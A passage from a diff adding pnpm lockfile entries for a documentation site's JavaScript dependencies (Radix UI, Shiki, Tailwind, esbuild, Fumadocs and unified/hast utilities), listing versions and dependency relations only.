1.1.15(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8) + '@radix-ui/react-compose-refs': 1.1.5(@types/react@19.2.18)(react@19.2.8) + '@radix-ui/react-context': 1.2.2(@types/react@19.2.18)(react@19.2.8) + '@radix-ui/react-primitive': 2.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8) + '@radix-ui/react-use-callback-ref': 1.1.4(@types/react@19.2.18)(react@19.2.8) + '@radix-ui/react-use-layout-effect': 1.1.4(@types/react@19.2.18)(react@19.2.8) + '@radix-ui/react-use-rect': 1.1.4(@types/react@19.2.18)(react@19.2.8) + '@radix-ui/react-use-size': 1.1.4(@types/react@19.2.18)(react@19.2.8) + '@radix-ui/rect': 1.1.3 + react: 19.2.8 + react-dom: 19.2.8(react@19.2.8) + optionalDependencies: + '@types/react': 19.2.18 + '@types/react-dom': 19.2.4(@types/react@19.2.18) + + '@radix-ui/react-portal@1.1.17(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)': + dependencies: + '@radix-ui/react-primitive': 2.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8) + '@radix-ui/react-use-layout-effect': 1.1.4(@types/react@19.2.18)(react@19.2.8) + react: 19.2.8 + react-dom: 19.2.8(react@19.2.8) + optionalDependencies: + '@types/react': 19.2.18 + '@types/react-dom': 19.2.4(@types/react@19.2.18) + + '@radix-ui/react-presence@1.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)': + dependencies: + '@radix-ui/react-use-layout-effect': 1.1.4(@types/react@19.2.18)(react@19.2.8) + react: 19.2.8 + react-dom: 19.2.8(react@19.2.8) + optionalDependencies: + '@types/react': 19.2.18 + '@types/react-dom': 19.2.4(@types/react@19.2.18) + + '@radix-ui/react-primitive@2.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)': + dependencies: + '@radix-ui/react-slot': 1.3.3(@types/react@19.2.18)(react@19.2.8) + react: 19.2.8 + react-dom: 19.2.8(react@19.2.8) + optionalDependencies: + '@types/react': 19.2.18 + '@types/react-dom': 19.2.4(@types/react@19.2.18) + + '@radix-ui/react-roving-focus@1.1.19(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)': + dependencies: + '@radix-ui/primitive': 1.1.7 + '@radix-ui/react-collection': 1.1.15(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8) + '@radix-ui/react-compose-refs': 1.1.5(@types/react@19.2.18)(react@19.2.8) + '@radix-ui/react-context': 1.2.2(@types/react@19.2.18)(react@19.2.8) + '@radix-ui/react-direction': 1.1.4(@types/react@19.2.18)(react@19.2.8) + '@radix-ui/react-id': 1.1.4(@types/react@19.2.18)(react@19.2.8) + '@radix-ui/react-primitive': 2.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8) + '@radix-ui/react-use-callback-ref': 1.1.4(@types/react@19.2.18)(react@19.2.8) + '@radix-ui/react-use-controllable-state': 1.2.6(@types/react@19.2.18)(react@19.2.8) + '@radix-ui/react-use-is-hydrated': 0.1.3(@types/react@19.2.18)(react@19.2.8) + '@radix-ui/react-use-layout-effect': 1.1.4(@types/react@19.2.18)(react@19.2.8) + react: 19.2.8 + react-dom: 19.2.8(react@19.2.8) + optionalDependencies: + '@types/react': 19.2.18 + '@types/react-dom': 19.2.4(@types/react@19.2.18) + + '@radix-ui/react-scroll-area@1.2.18(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)': + dependencies: + '@radix-ui/number': 1.1.3 + '@radix-ui/primitive': 1.1.7 + '@radix-ui/react-compose-refs': 1.1.5(@types/react@19.2.18)(react@19.2.8) + '@radix-ui/react-context': 1.2.2(@types/react@19.2.18)(react@19.2.8) + '@radix-ui/react-direction': 1.1.4(@types/react@19.2.18)(react@19.2.8) + '@radix-ui/react-presence': 1.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8) + '@radix-ui/react-primitive': 2.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8) + '@radix-ui/react-use-callback-ref': 1.1.4(@types/react@19.2.18)(react@19.2.8) + '@radix-ui/react-use-layout-effect': 1.1.4(@types/react@19.2.18)(react@19.2.8) + react: 19.2.8 + react-dom: 19.2.8(react@19.2.8) + optionalDependencies: + '@types/react': 19.2.18 + '@types/react-dom': 19.2.4(@types/react@19.2.18) + + '@radix-ui/react-slot@1.3.3(@types/react@19.2.18)(react@19.2.8)': + dependencies: + '@radix-ui/react-compose-refs': 1.1.5(@types/react@19.2.18)(react@19.2.8) + react: 19.2.8 + optionalDependencies: + '@types/react': 19.2.18 + + '@radix-ui/react-tabs@1.1.21(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)': + dependencies: + '@radix-ui/primitive': 1.1.7 + '@radix-ui/react-context': 1.2.2(@types/react@19.2.18)(react@19.2.8) + '@radix-ui/react-direction': 1.1.4(@types/react@19.2.18)(react@19.2.8) + '@radix-ui/react-id': 1.1.4(@types/react@19.2.18)(react@19.2.8) + '@radix-ui/react-presence': 1.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8) + '@radix-ui/react-primitive': 2.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8) + '@radix-ui/react-roving-focus': 1.1.19(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8) + '@radix-ui/react-use-controllable-state': 1.2.6(@types/react@19.2.18)(react@19.2.8) + react: 19.2.8 + react-dom: 19.2.8(react@19.2.8) + optionalDependencies: + '@types/react': 19.2.18 + '@types/react-dom': 19.2.4(@types/react@19.2.18) + + '@radix-ui/react-use-callback-ref@1.1.4(@types/react@19.2.18)(react@19.2.8)': + dependencies: + react: 19.2.8 + optionalDependencies: + '@types/react': 19.2.18 + + '@radix-ui/react-use-controllable-state@1.2.6(@types/react@19.2.18)(react@19.2.8)': + dependencies: + '@radix-ui/primitive': 1.1.7 + '@radix-ui/react-use-effect-event': 0.0.5(@types/react@19.2.18)(react@19.2.8) + '@radix-ui/react-use-layout-effect': 1.1.4(@types/react@19.2.18)(react@19.2.8) + react: 19.2.8 + optionalDependencies: + '@types/react': 19.2.18 + + '@radix-ui/react-use-effect-event@0.0.5(@types/react@19.2.18)(react@19.2.8)': + dependencies: + '@radix-ui/react-use-layout-effect': 1.1.4(@types/react@19.2.18)(react@19.2.8) + react: 19.2.8 + optionalDependencies: + '@types/react': 19.2.18 + + '@radix-ui/react-use-is-hydrated@0.1.3(@types/react@19.2.18)(react@19.2.8)': + dependencies: + react: 19.2.8 + optionalDependencies: + '@types/react': 19.2.18 + + '@radix-ui/react-use-layout-effect@1.1.4(@types/react@19.2.18)(react@19.2.8)': + dependencies: + react: 19.2.8 + optionalDependencies: + '@types/react': 19.2.18 + + '@radix-ui/react-use-previous@1.1.4(@types/react@19.2.18)(react@19.2.8)': + dependencies: + react: 19.2.8 + optionalDependencies: + '@types/react': 19.2.18 + + '@radix-ui/react-use-rect@1.1.4(@types/react@19.2.18)(react@19.2.8)': + dependencies: + '@radix-ui/rect': 1.1.3 + react: 19.2.8 + optionalDependencies: + '@types/react': 19.2.18 + + '@radix-ui/react-use-size@1.1.4(@types/react@19.2.18)(react@19.2.8)': + dependencies: + '@radix-ui/react-use-layout-effect': 1.1.4(@types/react@19.2.18)(react@19.2.8) + react: 19.2.8 + optionalDependencies: + '@types/react': 19.2.18 + + '@radix-ui/react-visually-hidden@1.2.11(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)': + dependencies: + '@radix-ui/react-primitive': 2.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8) + react: 19.2.8 + react-dom: 19.2.8(react@19.2.8) + optionalDependencies: + '@types/react': 19.2.18 + '@types/react-dom': 19.2.4(@types/react@19.2.18) + + '@radix-ui/rect@1.1.3': {} + + '@shikijs/core@4.4.1': + dependencies: + '@shikijs/primitive': 4.4.1 + '@shikijs/types': 4.4.1 + '@shikijs/vscode-textmate': 10.0.2 + '@types/hast': 3.0.5 + hast-util-to-html: 9.0.5 + + '@shikijs/engine-javascript@4.4.1': + dependencies: + '@shikijs/types': 4.4.1 + '@shikijs/vscode-textmate': 10.0.2 + oniguruma-to-es: 4.3.6 + + '@shikijs/engine-oniguruma@4.4.1': + dependencies: + '@shikijs/types': 4.4.1 + '@shikijs/vscode-textmate': 10.0.2 + + '@shikijs/langs@4.4.1': + dependencies: + '@shikijs/types': 4.4.1 + + '@shikijs/primitive@4.4.1': + dependencies: + '@shikijs/types': 4.4.1 + '@shikijs/vscode-textmate': 10.0.2 + '@types/hast': 3.0.5 + + '@shikijs/themes@4.4.1': + dependencies: + '@shikijs/types': 4.4.1 + + '@shikijs/types@4.4.1': + dependencies: + '@shikijs/vscode-textmate': 10.0.2 + '@types/hast': 3.0.5 + + '@shikijs/vscode-textmate@10.0.2': {} + + '@standard-schema/spec@1.1.0': {} + + '@swc/helpers@0.5.15': + dependencies: + tslib: 2.8.1 + + '@tailwindcss/node@4.3.3': + dependencies: + '@jridgewell/remapping': 2.3.5 + enhanced-resolve: 5.24.3 + jiti: 2.7.0 + lightningcss: 1.32.0 + magic-string: 0.30.21 + source-map-js: 1.2.1 + tailwindcss: 4.3.3 + + '@tailwindcss/oxide-android-arm64@4.3.3': + optional: true + + '@tailwindcss/oxide-darwin-arm64@4.3.3': + optional: true + + '@tailwindcss/oxide-darwin-x64@4.3.3': + optional: true + + '@tailwindcss/oxide-freebsd-x64@4.3.3': + optional: true + + '@tailwindcss/oxide-linux-arm-gnueabihf@4.3.3': + optional: true + + '@tailwindcss/oxide-linux-arm64-gnu@4.3.3': + optional: true + + '@tailwindcss/oxide-linux-arm64-musl@4.3.3': + optional: true + + '@tailwindcss/oxide-linux-x64-gnu@4.3.3': + optional: true + + '@tailwindcss/oxide-linux-x64-musl@4.3.3': + optional: true + + '@tailwindcss/oxide-wasm32-wasi@4.3.3': + optional: true + + '@tailwindcss/oxide-win32-arm64-msvc@4.3.3': + optional: true + + '@tailwindcss/oxide-win32-x64-msvc@4.3.3': + optional: true + + '@tailwindcss/oxide@4.3.3': + optionalDependencies: + '@tailwindcss/oxide-android-arm64': 4.3.3 + '@tailwindcss/oxide-darwin-arm64': 4.3.3 + '@tailwindcss/oxide-darwin-x64': 4.3.3 + '@tailwindcss/oxide-freebsd-x64': 4.3.3 + '@tailwindcss/oxide-linux-arm-gnueabihf': 4.3.3 + '@tailwindcss/oxide-linux-arm64-gnu': 4.3.3 + '@tailwindcss/oxide-linux-arm64-musl': 4.3.3 + '@tailwindcss/oxide-linux-x64-gnu': 4.3.3 + '@tailwindcss/oxide-linux-x64-musl': 4.3.3 + '@tailwindcss/oxide-wasm32-wasi': 4.3.3 + '@tailwindcss/oxide-win32-arm64-msvc': 4.3.3 + '@tailwindcss/oxide-win32-x64-msvc': 4.3.3 + + '@tailwindcss/postcss@4.3.3': + dependencies: + '@alloc/quick-lru': 5.2.0 + '@tailwindcss/node': 4.3.3 + '@tailwindcss/oxide': 4.3.3 + postcss: 8.5.25 + tailwindcss: 4.3.3 + + '@types/debug@4.1.13': + dependencies: + '@types/ms': 2.1.0 + + '@types/estree-jsx@1.0.5': + dependencies: + '@types/estree': 1.0.9 + + '@types/estree@1.0.9': {} + + '@types/hast@3.0.5': + dependencies: + '@types/unist': 3.0.3 + + '@types/mdast@4.0.4': + dependencies: + '@types/unist': 3.0.3 + + '@types/mdx@2.0.14': {} + + '@types/ms@2.1.0': {} + + '@types/node@26.1.2': + dependencies: + undici-types: 8.3.0 + + '@types/react-dom@19.2.4(@types/react@19.2.18)': + dependencies: + '@types/react': 19.2.18 + + '@types/react@19.2.18': + dependencies: + csstype: 3.2.3 + + '@types/unist@2.0.11': {} + + '@types/unist@3.0.3': {} + + '@ungap/structured-clone@1.3.3': {} + + '@yuku-analyzer/binding-android-arm64@0.8.3': + optional: true + + '@yuku-analyzer/binding-darwin-arm64@0.8.3': + optional: true + + '@yuku-analyzer/binding-darwin-x64@0.8.3': + optional: true + + '@yuku-analyzer/binding-freebsd-x64@0.8.3': + optional: true + + '@yuku-analyzer/binding-linux-arm-gnu@0.8.3': + optional: true + + '@yuku-analyzer/binding-linux-arm-musl@0.8.3': + optional: true + + '@yuku-analyzer/binding-linux-arm64-gnu@0.8.3': + optional: true + + '@yuku-analyzer/binding-linux-arm64-musl@0.8.3': + optional: true + + '@yuku-analyzer/binding-linux-x64-gnu@0.8.3': + optional: true + + '@yuku-analyzer/binding-linux-x64-musl@0.8.3': + optional: true + + '@yuku-analyzer/binding-win32-arm64@0.8.3': + optional: true + + '@yuku-analyzer/binding-win32-x64@0.8.3': + optional: true + + '@yuku-toolchain/types@0.8.3': {} + + '@zeit/schemas@2.36.0': {} + + acorn-jsx@5.3.2(acorn@8.18.0): + dependencies: + acorn: 8.18.0 + + acorn@8.18.0: {} + + ajv@8.18.0: + dependencies: + fast-deep-equal: 3.1.3 + fast-uri: 3.1.5 + json-schema-traverse: 1.0.0 + require-from-string: 2.0.2 + + ansi-align@3.0.1: + dependencies: + string-width: 4.2.3 + + ansi-regex@5.0.1: {} + + ansi-regex@6.2.2: {} + + ansi-styles@4.3.0: + dependencies: + color-convert: 2.0.1 + + ansi-styles@6.2.3: {} + + arch@2.2.0: {} + + arg@5.0.2: {} + + aria-hidden@1.2.6: + dependencies: + tslib: 2.8.1 + + astring@1.9.0: {} + + bail@2.0.2: {} + + balanced-match@4.0.4: {} + + baseline-browser-mapping@2.11.11: {} + + beautiful-mermaid@1.1.3: + dependencies: + elkjs: 0.11.1 + entities: 7.0.1 + + boxen@7.0.0: + dependencies: + ansi-align: 3.0.1 + camelcase: 7.0.1 + chalk: 5.0.1 + cli-boxes: 3.0.0 + string-width: 5.1.2 + type-fest: 2.19.0 + widest-line: 4.0.1 + wrap-ansi: 8.1.0 + + brace-expansion@5.0.9: + dependencies: + balanced-match: 4.0.4 + + bytes@3.0.0: {} + + bytes@3.1.2: {} + + camelcase@7.0.1: {} + + caniuse-lite@1.0.30001806: {} + + ccount@2.0.1: {} + + chalk-template@0.4.0: + dependencies: + chalk: 4.1.2 + + chalk@4.1.2: + dependencies: + ansi-styles: 4.3.0 + supports-color: 7.2.0 + + chalk@5.0.1: {} + + character-entities-html4@2.1.0: {} + + character-entities-legacy@3.0.0: {} + + character-entities@2.0.2: {} + + character-reference-invalid@2.0.1: {} + + chokidar@5.0.0: + dependencies: + readdirp: 5.0.0 + + class-variance-authority@0.7.1: + dependencies: + clsx: 2.1.1 + + cli-boxes@3.0.0: {} + + client-only@0.0.1: {} + + clipboardy@3.0.0: + dependencies: + arch: 2.2.0 + execa: 5.1.1 + is-wsl: 2.2.0 + + clsx@2.1.1: {} + + cnfast@0.0.8: {} + + collapse-white-space@2.1.0: {} + + color-convert@2.0.1: + dependencies: + color-name: 1.1.4 + + color-name@1.1.4: {} + + comma-separated-tokens@2.0.3: {} + + compressible@2.0.18: + dependencies: + mime-db: 1.54.0 + + compression@1.8.1: + dependencies: + bytes: 3.1.2 + compressible: 2.0.18 + debug: 2.6.9 + negotiator: 0.6.4 + on-headers: 1.1.0 + safe-buffer: 5.2.1 + vary: 1.1.2 + transitivePeerDependencies: + - supports-color + + compute-scroll-into-view@3.1.1: {} + + content-disposition@0.5.2: {} + + cross-spawn@7.0.6: + dependencies: + path-key: 3.1.1 + shebang-command: 2.0.0 + which: 2.0.2 + + csstype@3.2.3: {} + + debug@2.6.9: + dependencies: + ms: 2.0.0 + + debug@4.4.3: + dependencies: + ms: 2.1.3 + + decode-named-character-reference@1.3.0: + dependencies: + character-entities: 2.0.2 + + deep-extend@0.6.0: {} + + dequal@2.0.3: {} + + detect-libc@2.1.2: {} + + detect-node-es@1.1.0: {} + + devlop@1.1.0: + dependencies: + dequal: 2.0.3 + + eastasianwidth@0.2.0: {} + + elkjs@0.11.1: {} + + emoji-regex@8.0.0: {} + + emoji-regex@9.2.2: {} + + enhanced-resolve@5.24.3: + dependencies: + graceful-fs: 4.2.11 + tapable: 2.3.3 + + entities@6.0.1: {} + + entities@7.0.1: {} + + esast-util-from-estree@2.0.0: + dependencies: + '@types/estree-jsx': 1.0.5 + devlop: 1.1.0 + estree-util-visit: 2.0.0 + unist-util-position-from-estree: 2.0.0 + + esast-util-from-js@2.0.1: + dependencies: + '@types/estree-jsx': 1.0.5 + acorn: 8.18.0 + esast-util-from-estree: 2.0.0 + vfile-message: 4.0.3 + + esbuild@0.28.1: + optionalDependencies: + '@esbuild/aix-ppc64': 0.28.1 + '@esbuild/android-arm': 0.28.1 + '@esbuild/android-arm64': 0.28.1 + '@esbuild/android-x64': 0.28.1 + '@esbuild/darwin-arm64': 0.28.1 + '@esbuild/darwin-x64': 0.28.1 + '@esbuild/freebsd-arm64': 0.28.1 + '@esbuild/freebsd-x64': 0.28.1 + '@esbuild/linux-arm': 0.28.1 + '@esbuild/linux-arm64': 0.28.1 + '@esbuild/linux-ia32': 0.28.1 + '@esbuild/linux-loong64': 0.28.1 + '@esbuild/linux-mips64el': 0.28.1 + '@esbuild/linux-ppc64': 0.28.1 + '@esbuild/linux-riscv64': 0.28.1 + '@esbuild/linux-s390x': 0.28.1 + '@esbuild/linux-x64': 0.28.1 + '@esbuild/netbsd-arm64': 0.28.1 + '@esbuild/netbsd-x64': 0.28.1 + '@esbuild/openbsd-arm64': 0.28.1 + '@esbuild/openbsd-x64': 0.28.1 + '@esbuild/openharmony-arm64': 0.28.1 + '@esbuild/sunos-x64': 0.28.1 + '@esbuild/win32-arm64': 0.28.1 + '@esbuild/win32-ia32': 0.28.1 + '@esbuild/win32-x64': 0.28.1 + + escape-string-regexp@5.0.0: {} + + estree-util-attach-comments@3.0.0: + dependencies: + '@types/estree': 1.0.9 + + estree-util-build-jsx@3.0.1: + dependencies: + '@types/estree-jsx': 1.0.5 + devlop: 1.1.0 + estree-util-is-identifier-name: 3.0.0 + estree-walker: 3.0.3 + + estree-util-is-identifier-name@3.0.0: {} + + estree-util-scope@1.0.0: + dependencies: + '@types/estree': 1.0.9 + devlop: 1.1.0 + + estree-util-to-js@2.0.0: + dependencies: + '@types/estree-jsx': 1.0.5 + astring: 1.9.0 + source-map: 0.7.6 + + estree-util-value-to-estree@3.5.0: + dependencies: + '@types/estree': 1.0.9 + + estree-util-visit@2.0.0: + dependencies: + '@types/estree-jsx': 1.0.5 + '@types/unist': 3.0.3 + + estree-walker@3.0.3: + dependencies: + '@types/estree': 1.0.9 + + execa@5.1.1: + dependencies: + cross-spawn: 7.0.6 + get-stream: 6.0.1 + human-signals: 2.1.0 + is-stream: 2.0.1 + merge-stream: 2.0.0 + npm-run-path: 4.0.1 + onetime: 5.1.2 + signal-exit: 3.0.7 + strip-final-newline: 2.0.0 + + extend@3.0.2: {} + + fast-deep-equal@3.1.3: {} + + fast-uri@3.1.5: {} + + fdir@6.5.0(picomatch@4.0.5): + optionalDependencies: + picomatch: 4.0.5 + + framer-motion@12.43.0(react-dom@19.2.8(react@19.2.8))(react@19.2.8): + dependencies: + motion-dom: 12.43.0 + motion-utils: 12.39.0 + tslib: 2.8.1 + optionalDependencies: + react: 19.2.8 + react-dom: 19.2.8(react@19.2.8) + + fumadocs-core@16.12.1(@mdx-js/mdx@3.1.1)(@types/estree-jsx@1.0.5)(@types/hast@3.0.5)(@types/mdast@4.0.4)(@types/react@19.2.18)(lucide-react@1.27.0(react@19.2.8))(next@16.2.12(@types/node@26.1.2)(react-dom@19.2.8(react@19.2.8))(react@19.2.8))(react-dom@19.2.8(react@19.2.8))(react@19.2.8)(zod@4.4.3): + dependencies: + '@orama/orama': 3.1.18 + estree-util-value-to-estree: 3.5.0 + github-slugger: 2.0.0 + hast-util-to-estree: 3.1.3 + hast-util-to-jsx-runtime: 2.3.6 + mdast-util-mdx: 3.0.0 + mdast-util-to-markdown: 2.1.2 + npm-to-yarn: 3.1.0 + remark: 15.0.1 + remark-gfm: 4.0.1 + remark-rehype: 11.1.2 + scroll-into-view-if-needed: 3.1.0 + shiki: 4.4.1 + tinyglobby: 0.2.17 + unified: 11.0.5 + unist-util-visit: 5.1.0 + vfile: 6.0.3 + yaml: 2.9.0 + optionalDependencies: + '@mdx-js/mdx': 3.1.1 + '@types/estree-jsx': 1.0.5 + '@types/hast': 3.0.5 + '@types/mdast': 4.0.4 + '@types/react': 19.2.18 + lucide-react: 1.27.0(react@19.2.8) + next: 16.2.12(@types/node@26.1.2)(react-dom@19.2.8(react@19.2.8))(react@19.2.8) + react: 19.2.8 + react-dom: 19.2.8(react@19.2.8) + zod: 4.4.3 + transitivePeerDependencies: + - supports-color + + fumadocs-mdx@15.2.1(@types/mdast@4.0.4)(@types/mdx@2.0.14)(@types/react@19.2.18)(fumadocs-core@16.12.1(@mdx-js/mdx@3.1.1)(@types/estree-jsx@1.0.5)(@types/hast@3.0.5)(@types/mdast@4.0.4)(@types/react@19.2.18)(lucide-react@1.27.0(react@19.2.8))(next@16.2.12(@types/node@26.1.2)(react-dom@19.2.8(react@19.2.8))(react@19.2.8))(react-dom@19.2.8(react@19.2.8))(react@19.2.8)(zod@4.4.3))(next@16.2.12(@types/node@26.1.2)(react-dom@19.2.8(react@19.2.8))(react@19.2.8))(react@19.2.8): + dependencies: + '@mdx-js/mdx': 3.1.1 + '@standard-schema/spec': 1.1.0 + chokidar: 5.0.0 + esbuild: 0.28.1 + estree-util-value-to-estree: 3.5.0 + fumadocs-core: 16.12.1(@mdx-js/mdx@3.1.1)(@types/estree-jsx@1.0.5)(@types/hast@3.0.5)(@types/mdast@4.0.4)(@types/react@19.2.18)(lucide-react@1.27.0(react@19.2.8))(next@16.2.12(@types/node@26.1.2)(react-dom@19.2.8(react@19.2.8))(react@19.2.8))(react-dom@19.2.8(react@19.2.8))(react@19.2.8)(zod@4.4.3) + github-slugger: 2.0.0 + magic-string: 1.1.0 + mdast-util-mdx: 3.0.0 + picocolors: 1.1.1 + picomatch: 4.0.5 + tinyexec: 1.3.0 + tinyglobby: 0.2.17 + unified: 11.0.5 + unist-util-remove-position: 5.0.0 + unist-util-visit: 5.1.0 + vfile: 6.0.3 + yaml: 2.9.0 + yuku-analyzer: 0.8.3 + zod: 4.4.3 + optionalDependencies: + '@types/mdast': 4.0.4 + '@types/mdx': 2.0.14 + '@types/react': 19.2.18 + next: 16.2.12(@types/node@26.1.2)(react-dom@19.2.8(react@19.2.8))(react@19.2.8) + react: 19.2.8 + transitivePeerDependencies: + - supports-color + + fumadocs-ui@16.12.1(@types/mdx@2.0.14)(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(fumadocs-core@16.12.1(@mdx-js/mdx@3.1.1)(@types/estree-jsx@1.0.5)(@types/hast@3.0.5)(@types/mdast@4.0.4)(@types/react@19.2.18)(lucide-react@1.27.0(react@19.2.8))(next@16.2.12(@types/node@26.1.2)(react-dom@19.2.8(react@19.2.8))(react@19.2.8))(react-dom@19.2.8(react@19.2.8))(react@19.2.8)(zod@4.4.3))(next@16.2.12(@types/node@26.1.2)(react-dom@19.2.8(react@19.2.8))(react@19.2.8))(react-dom@19.2.8(react@19.2.8))(react@19.2.8)(tailwindcss@4.3.3): + dependencies: + '@fuma-translate/react': 1.0.2(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8) + '@fumadocs/tailwind': 0.1.1(tailwindcss@4.3.3) + '@radix-ui/react-accordion': 1.2.20(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8) + '@radix-ui/react-collapsible': 1.1.20(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8) + '@radix-ui/react-dialog': 1.1.23(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8) + '@radix-ui/react-direction': 1.1.4(@types/react@19.2.18)(react@19.2.8) + '@radix-ui/react-navigation-menu': 1.2.22(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8) + '@radix-ui/react-popover': 1.1.23(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8) + '@radix-ui/react-presence': 1.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8) + '@radix-ui/react-scroll-area': 1.2.18(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8) + '@radix-ui/react-slot': 1.3.3(@types/react@19.2.18)(react@19.2.8) + '@radix-ui/react-tabs': 1.1.21(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8) + class-variance-authority: 0.7.1 + cnfast: 0.0.8 + fumadocs-core: 16.12.1(@mdx-js/mdx@3.1.1)(@types/estree-jsx@1.0.5)(@types/hast@3.0.5)(@types/mdast@4.0.4)(@types/react@19.2.18)(lucide-react@1.27.0(react@19.2.8))(next@16.2.12(@types/node@26.1.2)(react-dom@19.2.8(react@19.2.8))(react@19.2.8))(react-dom@19.2.8(react@19.2.8))(react@19.2.8)(zod@4.4.3) + lucide-react: 1.27.0(react@19.2.8) + motion: 12.43.0(react-dom@19.2.8(react@19.2.8))(react@19.2.8) + next-themes: 0.4.6(react-dom@19.2.8(react@19.2.8))(react@19.2.8) + react: 19.2.8 + react-dom: 19.2.8(react@19.2.8) + react-remove-scroll: 2.7.2(@types/react@19.2.18)(react@19.2.8) + rehype-raw: 7.0.0 + scroll-into-view-if-needed: 3.1.0 + shiki: 4.4.1 + unist-util-visit: 5.1.0 + optionalDependencies: + '@types/mdx': 2.0.14 + '@types/react': 19.2.18 + next: 16.2.12(@types/node@26.1.2)(react-dom@19.2.8(react@19.2.8))(react@19.2.8) + transitivePeerDependencies: + - '@emotion/is-prop-valid' + - '@types/react-dom' + - tailwindcss + + get-nonce@1.0.1: {} + + get-stream@6.0.1: {} + + github-slugger@2.0.0: {} + + graceful-fs@4.2.11: {} + + has-flag@4.0.0: {} + + hast-util-from-parse5@8.0.3: + dependencies: + '@types/hast': 3.0.5 + '@types/unist': 3.0.3 + devlop: 1.1.0 + hastscript: 9.0.1 + property-information: 7.2.0 + vfile: 6.0.3 + vfile-location: 5.0.3 + web-namespaces: 2.0.1 + + hast-util-parse-selector@4.0.0: + dependencies: + '@types/hast': 3.0.5 + + hast-util-raw@9.1.0: + dependencies: + '@types/hast': 3.0.5 + '@types/unist': 3.0.3 + '@ungap/structured-clone': 1.3.3 + hast-util-from-parse5: 8.0.3 + hast-util-to-parse5: 8.0.1 + html-void-elements: 3.0.0 + mdast-util-to-hast: 13.2.1 + parse5: 7.3.0 + unist-util-position: 5.0.0 + unist-util-visit: 5.1.0 + vfile: 6.0.3 + web-namespaces: 2.0.1 + zwitch: 2.0.4 + + hast-util-to-estree@3.1.3: + dependencies: + '@types/estree': 1.0.9 + '@types/estree-jsx': 1.0.5 + '@types/hast': 3.0.5 + comma-separated-tokens: 2.0.3 + devlop: 1.1.0 + estree-util-attach-comments: 3.0.0 + estree-util-is-identifier-name: 3.0.0 + hast-util-whitespace: 3.0.0 + mdast-util-mdx-expression: 2.0.1 + mdast-util-mdx-jsx: 3.2.0 + mdast-util-mdxjs-esm: 2.0.1 + property-information: 7.2.0 + space-separated-tokens: 2.0.2 + style-to-js: 1.1.21 + unist-util-position: 5.0.0 + zwitch: 2.0.4 + transitivePeerDependencies: + - supports-color + + hast-util-to-html@9.0.5: + dependencies: + '@types/hast': 3.0.5 + '@types/unist': 3.0.3 + ccount: 2.0.1 + comma-separated-tokens: 2.0.3 + hast-util-whitespace: 3.0.0 + html-void-elements: 3.0.0 + mdast-util-to-hast: 13.2.1 + property-information: 7.2.0 + space-separated-tokens: 2.0.2 + stringify-entities: 4.0.4 + zwitch: 2.0.4 + + hast-util-to-jsx-runtime@2.3.6: + dependencies: + '@types/estree': 1.0.9 + '@types/hast': 3.0.5 + '@types/unist': 3.0.3 + comma-separated-tokens: 2.0.3 + devlop: 1.1.0 + estree-util-is-identifier-name: 3.0.0 + hast-util-whitespace: 3.0.0 + mdast-util-mdx-expression: 2.0.1 + mdast-util-mdx-jsx: 3.2.0 + mdast-util-mdxjs-esm: 2.0.1 + property-information: 7.2.0 + space-separated-tokens: 2.0.2 + style-to-js: 1.1.21 + 